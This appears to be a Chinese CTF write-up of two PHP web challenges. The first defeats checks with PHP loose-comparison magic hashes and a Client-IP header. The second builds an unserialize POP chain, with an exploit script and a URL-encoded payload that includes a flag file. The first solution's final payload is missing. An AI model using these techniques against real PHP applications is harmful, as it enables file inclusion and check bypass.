题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<? php
highlight_file ( __FILE__ );
$flag = null ;
include '/flag_change' ;
$a = $_SERVER [ 'argv' ][ 0 ];
$b = $_SERVER [ 'argv' ][ 1 ];
$c = $_SERVER [ 'HTTP_CLIENT_IP' ];
if ( $a == md5 ( $b ) && $a != $b && $a == md5 ( $a )) {
if ( isset ( $c )) {
echo $flag ;
} else {
echo '请提供一个 client-ip ' ;
}
}
?>
echo $flag
需满足 $c
不为空,通过请求头 client-ip
传一个值给 $c
$_SERVER['HTTP_CLIENT_IP']
是 php 中用于获取客户端(浏览器端)IP 地址的一种方法
要满足$a == md5($b) && $a != $b && $a == md5($a)
需利用 php 的弱类型比较 “==” 的特性:
使 $a
的值为0e215962017
使 $b
的值为240610708
相关实验 :
字符串 $a = '0e215962017'
的开头是 '0e'
,这是科学计数法表示法中的零:
在 php 中,如果字符串是 '*e*******'
('*'
部分均为数字),php 会将这个字符串当作科学计数法。因为'0e'
相当于'0乘'
,0 乘后面不管是什么数都为 0
因此,整个字符串 '0e215962017'
被解释为科学计数法的零,即数值 0
又因为 md5($a)
为:0e291242476940776845150308577824
,也会被当作科学计数法,结果是 0
满足$a == md5($a)
240610708
经 md5 加密后为 0e462097431906509019562988736854
同理也会被当作 0
满足$a == md5($b) && $a != $b
接下来的问题是如何给 $a
和 $b
传值,以下是给 $a
和 $b
赋值的代码:
1
2
$a = $_SERVER [ 'argv' ][ 0 ];
$b = $_SERVER [ 'argv' ][ 1 ];
通过在 url 后加上参数值即可给 $a
和 $b
传值(多个参数值之间用 +
隔开)
关于$_SERVER['argv']
:
1、cli 模式(命令行)下
在 cli 模式(命令行)下运行 php 脚本,$_SERVER['argv'][0]
是脚本名,其余的是传递给脚本的参数
2、web 网页模式下
前提条件:php.ini
里将 register_argc_argv
设置为 On
在 web 网页模式下,$_SERVER['argv'][0]
是 url 后的第一个参数值,多个 参数值之间用 +
隔开
所以最后的 payload:
题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<? php
//flag is in /flag_change
highlight_file ( __FILE__ );
error_reporting ( 0 );
class QZI {
private $lalala ;
public function qziedu ( $value )
{
include ( $value );
echo $flag ;
}
public function __invoke (){
$this -> qziedu ( $this -> lalala );
}
}
class A {
public $qian ;
public $yu ;
public function __toString (){
return $this -> yu -> qian ;
}
public function __wakeup (){
echo $this -> qian ;
}
}
class V {
public $py ;
public function __construct (){
$this -> py = array ();
}
public function __get ( $key ){
$function = $this -> py ;
return $function ();
}
}
if ( isset ( $_GET [ 'pop' ])){
unserialize ( $_GET [ 'pop' ]);
}
?>
echo $flag
通过 QZI
类实例对象的 qziedu
方法执行
QZI
类实例对象的 qziedu
方法通过 QZI
类实例对象的 __invoke
方法触发
QZI
类实例对象的 __invoke
方法通过 V
类实例对象的 __get
方法触发
V
类实例对象的 __get
方法通过 A
类实例对象的 __toString
方法触发
A
类实例对象的 __toString
方法通过A
类实例对象的 __wakeup
方法触发
总结一下调用链:A->__wakeup
==> A->__toString
==> V->__get
==> QZI->__invoke
==> QZI->qziedu
编写 exp :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<? php
class QZI {
private $lalala = '/flag_change' ;
}
class A {
public $qian ;
public $yu ;
}
class V {
public $py ;
}
$obj = new A ();
$obj -> qian = new A ();
$obj -> qian -> yu = new V ();
$obj -> qian -> yu -> py = new QZI ();
$obj = serialize ( $obj );
$obj = urlencode ( $obj );
echo $obj ;
?>
运行后得到 payload :
1
O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22qian%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22qian%22%3BN%3Bs%3A2%3A%22yu%22%3BO%3A1%3A%22V%22%3A1%3A%7Bs%3A2%3A%22py%22%3BO%3A3%3A%22QZI%22%3A1%3A%7Bs%3A11%3A%22%00QZI%00lalala%22%3Bs%3A12%3A%22%2Fflag_change%22%3B%7D%7D%7Ds%3A2%3A%22yu%22%3BN%3B%7D
GET 提交 payload